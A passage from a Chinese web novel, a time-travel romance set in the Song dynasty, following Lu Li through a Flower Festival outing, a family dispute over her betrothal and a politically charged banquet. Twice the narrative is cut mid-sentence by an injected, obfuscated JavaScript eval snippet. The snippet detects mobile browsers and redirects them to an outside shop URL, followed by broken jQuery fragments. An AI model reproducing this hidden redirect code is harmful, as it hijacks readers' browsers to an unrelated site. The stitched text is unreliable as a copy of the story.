“是。”邓沅抓起桌上纸团丢到炉内:“明府,这已经是第三封手书了。” 章桓点了点墨:“她既帮了我,我也理应帮她避免一些麻烦。” “明府果然细心周到!只是.…..”邓沅顿了顿:“不知你的心意能否被察觉。” “你这是何意?” 邓沅一本正经道:“方才我草草算了一下,小郎君的劲敌共有三人,情形实在不容乐观。” 章桓干咳一声,稍显用力地盖上印鉴,字字掷地道:“呈交开封府!”邓沅接过手书,语气老实道:“领。” 邓沅的话在耳旁萦绕,搅得章桓莫名烦躁,随手将一旁规整好的公文又拿出来审阅了一遍。 闺阁内,丁兰收拾着药瓶,镜前女子微微出神。 想到茶坊那一幕,路漓有些不寒而栗,一直以为赵元佐是因为长期忧思才引发的心疾,不曾想竟这么快就失了神志,而且发作起来状似癫狂,真是骇人。不知他是如何处理的,方才跟他交代一声就好了。 丁芷进来道:“小娘子,主人唤你过去。” “可知所为何事?” “阿棋只说主人有事相商,具体我也不是很清楚。”丁芷在袖口寻摸道:“还有...” 会是什么事?难道是今日茶坊的事?路漓心中忐忑,边想边走,并没有听清丁芷后面说了些什么。 进到书斋内,路漓弯膝道:“爹爹安好。” 路万川展颜道:“含英,五日后许宅设宴,你与我同去。” “我也去?!” “只是寻常家宴,邀些贵家前去赏花品茗,天羽和以牧也会去。” 以牧?是哪位仁兄?莫非,这“北宋亲友录”又要添一员猛将? 路万川吹了吹茶气:“你与天羽的婚事,我会寻个时机同文远商议的。” 路漓心中霎时滚过三句天呐!怎么忘了还有这茬!“爹爹说到哪儿去了!他是我的兄长,我对他并无心思!” 路万川有些讶然:“你们闹别扭了吗?可莫要说置气的话。” “爹爹!”路漓急切接道:“过去多有误会,我与表兄早已讲明,姨丈那边还劳烦爹爹帮着解释一下。” “我倒真是搞不懂你的心思了,你心中的人不是天羽,难不成是姓黄那小子?!”说到最后一句的时候,他语气透着不满。 黄...?路漓差点噎住:“真是越说越远,您不要乱牵红线嘛!” “不是他,还会是谁?” 脑中现出了一张面庞,路漓双手渐渐收紧,支吾道:“没、没谁,我还小,您不用操之过急!” “呵!”路万川盖上杯盖,笑意稍减道:“不说也罢,你姨丈那边,自己去解释。” 他又是这个语气,路漓压住火道:“此事根本是你与姨丈无中生有,为何要我去解释?” “砰——”他手中的茶杯猛地撞上茶托,“你们的婚事,两家早已有了默契,而今突然变卦,难道不应该给个说法吗?” “我...”该怎么说?说小光对表兄芳心暗许?不行,万一她还没有告诉家里人呢?哎呀...路含英,你赶紧想个说法啊! 少倾,她猛吸一口气,目光坚决道:“不错!我有心仪的人了!他就是...!” “咚咚咚——”(是谁这么好本事,专挑关键时候打断...)路万川蹙眉道:“进来!” 阿棋推门而入,看了一眼小娘子后默默低下头。路万川遂道:“你先回屋,这件事容我想想。” “喏,含英告退。”关上门后,路漓长舒一口气。好险,差点就说出口了,这阿棋可真是及时雨。 不过... 真就爱上了? 或许...从未停止。 人终究是视觉动物,何必故意对抗视觉传来的信息呢?或许,应该允许自己冲动一次,相信一次自己的感觉。 不再观察,用心感受。 【“缘路长路,情路行路,行远处,行归矣。”】 镜前女子眉眼具笑,丁芷好奇道:“小娘子,何事如此高兴?” 路漓回过神,拍了拍发酸的嘴角道:“没事...对了,你前面要说什么?” 丁芷关上门道:“有人用树枝飞传了一张布条过来。” 展开一看,布条上用欧楷简明地写着四个字。 “善后勿虑。” 路漓心中微释,遂将布条丢入香炉内,转道:“集市买的丝线搁在哪儿了?” 丁兰将几捆颜色不一的线结递来道:“小娘子,你是要绣花吗?” 路漓眉飞色舞道:“等我做好你就知道啦。” --------------------------------------- 东风回暖,桃花渐开,枝头飘垂着各色彩笺。花树下,路漓脚跟落地,拍擦手道:“系好啦,我们走吧。” 三人还未走到门口便被身后叫住了,“含英,要出门吗?” 路漓回过身行礼道:“嗯,已与爹爹说过了。” “你们先过去,我与小娘子有几句话要讲。” 丁芷丁兰看看小娘子,又看看主母,行礼后便往门口走去。 “含英,有些话,可能我说出来你会有所抵触,但我却不能不说。”沈玉玟面目温厉道:“你的一言一行,不仅关乎你爹爹,更关乎到整个路家,出门在外,还是应当谨言慎行,不要以为所有事情都可以用聪明来解决,明白吗?” 路漓面色不改分毫,反问道:“我自以为明白的事,现下却有些不明白了,遇事若不设法解决那该怎么办?冷眼旁观吗?” 沈玉玟喟然道:“我只是一个平凡的女人,所求的不过是合家安宁罢了,你将来就会了解的。好了,我还有家务要处理,你出门吧,别误了时辰。”说罢她信步离开,走进那一方宅院。 路漓在原地呆站了一会,方才出门。 和风煦拂,花瓣簌落,三两娘子结伴而行,空中漫着淡淡花香。 望见左侧紧锁的大门,丁芷道:“咦?这黄大夫的药铺怎么又打烊了?” 丁兰接道:“还真是,每逢节日,他都会外出采药。” “嗯?”丁芷坏笑道:“你怎的如此了解?”丁兰不假思索道:“我听胡茶主说的啊。” “哦~”丁芷俏皮打趣道:“原来——是听狐狸郎君说的呀。” 丁兰反应过来,嗔怪地拍了一下丁芷的手臂,丁芷一面躲一面还击。打闹间,二人注意到身旁许久未出声的女子,停下道:“小娘子?你没事吧?” 路漓暂停了脑中的胡思乱想,微笑道:“无事,我们快些,别让小光等久了。” 月满楼内,那头戴软幞的清秀少郎扶着下颌,一双圆眼百无聊赖地望着门口。 路漓赶到桌前,像模像样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683121|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地叠手道:“许郎君钧安!” 许芝光拉她坐下道:“可算把你等来了,知你一向守时,今日我特地早早出门,谁知竟让我等了个大的。” “抱歉抱歉,有点小事耽搁了。” 想到路漓家中的情况,许芝光略带担忧道:“是不是那位不放行啊?”路漓淡道:“...没有,不说这个了。你想吃什么尽管点,我来请。” “拜托!我约你出来自然是我做东,你可莫要与我争抢!”许芝光看着墙面道:“这家茶坊还挺别致的,我瞧着许多茶品颇有江南风味。” 路漓眸色微变:“你之前...没有来过这儿吗?” “没有诶,翁翁管得很严,平日不怎么能外出的,出来一般也都是去街头那家比较多。前些天听翁翁偶然说起这家,我才想着来品上一品。”许芝光专心致志地端详着墙上的茶牌,遂招手道:“小二!” 胡礼未闻声看去,忙将小二拦下,整了整衣冠后,走上前道:“叨扰了,几位想点些什么?小馆近日新上了几道时令茶点,配上桃花饮风味甚佳,茶友可要试试?” 一听此话,许芝光毫不犹豫地为茶坊添了一单“时令收入”,哪家馆子若是有她这样的回头客,真是做梦都要笑醒。 路漓轻笑道:“这些天闲来无事,做了个小玩意儿给你。” 打开饰盒,里面装着一只编绳手环,天蓝色的主绳上结着粉色的镂空桃花,上面还串有几颗剔透的玉珠。许芝光双瞳微动道:“真好看!从未见过的样式!” 路漓呢喃道:“我倒真希望你见过这样的款式...” 许芝光将饰盒收起后,拿出一枚浅青色香囊与一枚鹅黄色香囊,坐近道:“英儿,你喜欢哪个?”看见这经典配饰,路漓明知故问道:“给我的?” “你先选,另一枚...”许芝光含羞道:“我明日送给天羽哥。” 路漓打趣道:“如此重友轻色?” “那当然!他,当然不能跟你比...”说到后面,她声音渐弱,一股脑将两枚香囊送到了路漓手中。 看着两枚同等姿色的香囊,路漓不带迟疑道:“我要柰花的吧,至于这枚桃花香囊——”,她还与许芝光道:“就留给他吧!” 许芝光低头忸怩,小心将香囊收到了袖中。路漓嫣然一笑,默默在心中期待起他俩的好事。 笑语间,一声熟悉的嗓音传入耳中,丁芷不禁侧头望去,一旁的丁兰见状,戳了戳她道:“看什么呢?” 见窗外无人,丁芷缓缓答道:“许是...我听错了吧?” 午后,四人一道赏花、扑蝶、挂红、祭花神...算是将花朝节的民俗活动体验了个遍,路漓兴致盎然,不禁对这个素未蒙面的节日好感倍增。 不知不觉,天色已暮,路漓与许芝光道别后各自回宅。 闺阁内,姐妹俩满心喜悦地欣赏着手腕上的蓝白蝴蝶手绳。路漓一边卸着头饰,一边问道:“丁兰,事情打听得如何?” 丁兰正过色,轻声道:“回小娘子,据胡茶主所说,这几日鲜少听闻百姓议论那件事,想是我们多虑了。” 看样子,所谓的封口是对下不对上,明日的家宴必定会暗流涌动,小光的祖父虽然已经淡出朝堂,但凡事也别想逃过他的眼睛,可得小心些了... 路漓淡道了一声‘哦’,遂又续道:“对了,今日的茶钱比往日低了不少,可是胡茶主有意为之?” 丁兰点点头道:“他说那日幸得小娘子出手相救,本不愿收茶钱,可又担心小娘子会诸多推搪,便削了个价。” 此人不到二十的年纪,竟将人情往来处理得游刃有余,回想到现代,自己毕业好几年依旧未能摸透其中的门道,路漓不由对他心生佩服。 丁芷一脸贼笑道:“你们还聊了什么呀?”路漓也双眼放光地看向丁兰。 丁兰想了想,道:“他还说城中的巡捕加了些人手。”丁芷追问道:“就这些了?还有没有什么别的...” “没有了!”丁兰话锋一转道:“我看,你才有什么呢!”姐妹俩你来我往的,引得路漓也忍不住加入,屋内的欢声笑语过了许久才渐渐停息。 12. 不虞之隙(1) 翌日,阳光正盛,宾客盈门。屋内,客人寒暄闲聊,屋外,仆从步履匆匆。 路漓扫视一圈,发觉四周全是生面孔,不禁有些社恐发作。趁着爹爹与人交谈正兴,便寻机溜到了后花园。 花树下,二人长身鹤立,似乎在讨论些什么。 丁芷朝前指了指:“小娘子你瞧,那不是章知县和邓沅吗?” 路漓看向那边,下意识伸手抚了抚侧鬓,方欲上前,只见一名女子漫步到他身旁,彼此行了个礼。也不知他们聊了什么,二人脸上渐渐浮出笑意。 春风拂过,路漓头上的白玉步摇轻微晃动。丁兰鼻子一皱,出声询问道:“小娘子可要过去?” 路漓侧过头努了努嘴:“我才不过去呢。”回过头时,正好看到章桓将一方素色绢巾送到她手中,一股酸涩涌入心口,路漓轻哼一声,拂袖而去。 “小娘子!”丁兰丁芷还没来得及将那一幕收入眼中,便往前跟去。 邓沅闻声回头,随即轻咳了一下,与身旁耳语了几句。章桓眼神闪动,遂朝对面揖手道:“我有些要紧事,需先行一步。” 对方颇有深意道:“看来,焕明小弟的心中多了些牵挂的事物,那就不送了。” 章桓疾步转身,小声道:“你可看清了?”邓沅回道:“绝对没错,而且路小娘子她…似乎还面带怒意!”章桓神情愈发不解,只想尽快找到她,将心中疑团解个明白。 另一边,路漓扯着花瓣,一面走一面回想。难怪在门口碰到时,他突然生分了许多,原来是佳人在侧得避嫌,哼!真是画虎画皮难画骨!路漓越想越气,竟没觉已将手中的玉茗花扯秃了。 身后的姐妹俩对视一眼,还未来得及开口劝慰,便先朝来人弯膝行礼道:“乔郎君钧安。” 乔翊微微颔首,柔声道:“英儿,借一步说话。”路漓脑中仍是一团乱麻,并没有工夫去推想他要说什么,只是略带疑惑地答应了。 一路听他在说,路漓的脸色却是越听越难看,忽地停住脚道:“什么?你还没有同姨丈说?” “那日之后,我便不分昼夜地苦读备考,后又赶上诸多事情,一时忘记了。” “那你准备什么时候说?” 乔翊侧过身走了几步,缓道:“待到合适的时机,我自会说明白的。” 路漓本就因刚才的事情憋着火,听到他这么说,立马严厉反问道:“什么是合适的时机?今日明日?还是今年明年?” “……英儿,你便如此想与我划清界线吗?”凝着他黯然的双眼,想到自己也是前不久刚想起这茬,路漓语气温了下来:“对不起,刚才我着急了些。但此事,我真的不想拖太久,眼下茶宴尚未开始,不如我们现在就去找他们说个明白!” 乔翊的脸上褪去了以往的温润,他一把抓过路漓的手,吓得路漓赶忙朝周围看了看,手中不停挣扎。 “为什么!为什么你突然如此待我,我究竟哪里做错了?英儿你告诉我!” 他手上愈发用力,路漓挣扎未果,无奈叹气道:“你很好,你没有做错任何事情,只是我对你只有兄妹之情,那日我也已经同你讲得很清楚了,还望你不要让彼此为难。” 路漓瞪着他的双眼,冷道:“放手。” 他眼中微微充血,手上的力气未减分毫,挣扎之际,不远处忽然响起一声问安:“许小娘子妆安!” 两人手里一僵,不约而同地看向那边,许芝光攥紧掌心物件,扭头往身后奔去。路漓趁机挣脱了乔翊的手,连忙急追上前。 另一侧,刚寻摸过来的两人恰好目睹了这幕,邓沅愣道:“这唱的是哪出?” 章桓思忖片刻,浮出丝丝笑意道:“我竟是个傻子。”邓沅一时摸不着头绪:“啊?”章桓眸中笑意更深,脚步轻快地往正堂走去。 花园深处,许芝光跑出一段路后,听到了身后的动静,步伐渐缓。路漓咬牙冲刺到她面前,上气不接下气道:“你再跑…再跑我就真的没力气了…!” 路漓的体力有多不好,没人比她更了解,所以她才没有使出平常的实力,谁知还是将路漓跑了个半死不活。许芝光没好气地努了努嘴,一时不知是该继续生气还是该去给她打杯水来。 “方才是个误会!我…”路漓换了口气,没来得及道出下面的“陈辞”,便被匆促赶来的管事打断了。 管事躬身道:“二位小娘子,宴席已经备妥,还请前往入席吧。”许芝光的脸上余怒未消,稍带幽怨地道了声‘哦’,径直从路漓身旁走过。 真是的…今日出门没看黄历吗?!路漓杵在原地,心里又愁又恼。丁兰丁芷上前道:“小娘子,这可如何是好?” 她们问的,何尝不是路漓在心中重复了百遍的问题,路漓默了默,道:“…问题还得一个个解决,走吧……”三人一前一后地往正堂走去。 乐师们正小心调试着乐器,桌案上已摆了些茶点水果。 端坐在堂前主位上的,乃是许宅的主人,亦是此次茶宴的发起者——检校太尉许老。作为在场资历最深,官阶最高的长者,来往宾客无不对其恭敬有加。 堂中置着连排屏风,将宾客们划为了男女两席。长辈们大都于前排落座,而方才在花园里打过照面的,已多数于后排坐定。眼下女席还余三个座位,男席还余四个座位。 路漓看看左边,又瞧瞧右边,脑中闪回到高中那次“亲子家长会”的画面,不禁吞咽口水润了润干涸的嗓子。行礼后,她当机立断走向女席倒数第二个座位,一屁股坐在了许芝光旁边。 许芝光向左斜睨,随即别过头看着屋外,仿佛外边有何稀世美景。路漓也随她瞻仰了一下屋外的旖旎风光,谁知这一眼竟正巧看着章桓与那名女子并肩走来,路漓双目含嗔地扭回头,双手搅动着布满褶皱的绢巾,并没有察觉到头上多了两道视线。 须臾,许芝光揉了揉发酸的脖子,回眸瞧见身旁人的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753216|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,腹中残存的怒气渐渐化为了好奇。 路漓抬头眺望左边,女子们浅笑静坐,像是园里盛放的百花,只是她一朵都不认识,包括方才落座到她左侧的那位“佳人”。 本想着,即便全是生人也没关系,反正有小光在就行,谁曾想竟生出这些幺蛾子。眼下,路漓倒是有些理解“对影成三人”的真意了。 又两名宾客先后进到屋内,各自入席。许是到了定好的时辰,后头的乐师们齐齐吹笙鼓簧。 曲子刚开个了头,门口响起一声洪亮的中年嗓音,“不好意思,有些公事耽搁了,还望诸位见谅。” 众人循声望去,只见走在前头的穿着不凡,笑意铺满整张脸,唯独不包含眼睛。身后跟着的玄衣少年则与他截然相反,整张脸像块冻了许久的冰疙瘩,而眼中却没那么凛冽。 二人愈发走近,路漓本低着头发呆,闻声抬眼后,眼前人却让她目瞪口呆。 温谦?!他怎么也在这里?!他不过是自己大一时短暂的内心悸动,后来甚至都没怎么跟他说过话,难道他也会和路含英有所牵扯么? “我与小侄姗姗来迟,为表歉意,特带了刚得的佳酿美酒,与诸君同享。”说完他拍了拍手,几名下人端着酒坛子从门外有序走进。 许太尉和蔼道:“温中丞客气了,既带了这么些好酒,待会可得自罚三杯呀!” “哈哈,当然,当然。”叔侄俩叉手后往男席那边走去。 许太尉抬手示意下人们为两边宾客斟酒,遂似笑非笑道:“今年天气早暖,花园里的牡丹也比以往开得早了些,晨间发现其中一株花瓣上稍有萎黄,所幸今日宴邀各位,否则拖下去,大家可就无花可赏了。” 众人赔笑附和,路漓也跟着扯了扯嘴角,不知为何总觉得这番话透着古怪。 “花瓣萎黄,就应及时摘除,若因一时心软,拖致其根部糜烂,到时恐会提前脱落,岂不因小失大?”男席那边,一人出声应答,听声音像是方才入席的御史中丞。 许太尉眸光深不见底:“贤弟似乎对养花颇有心得。” “哈,我天资愚钝,哪里懂得养花之道。平日里,也就养些常青松竹打发打发辰光罢了。” “香麹亲看造,芳丛手自栽。其实松竹也同花草一样,需要惜花之人的悉心呵护,方能长久。”许太尉意味深长地看着对面。 路漓听得有些头疼,若换了平日,她是很乐意剖析话中深意的,可今日她只想静静当个局外人。她拿起茶杯抿了一口,目光不经意移到右侧,许芝光双目发滞,双手紧握,好像在担心什么事情。 --------------------------------------- (古诗文小课堂: “对影成三人。”出自唐代李白的《月下独酌四首(其一)》。 “香麹亲看造,芳丛手自栽。”出自唐代白居易的《对新家酝玩自种花》。)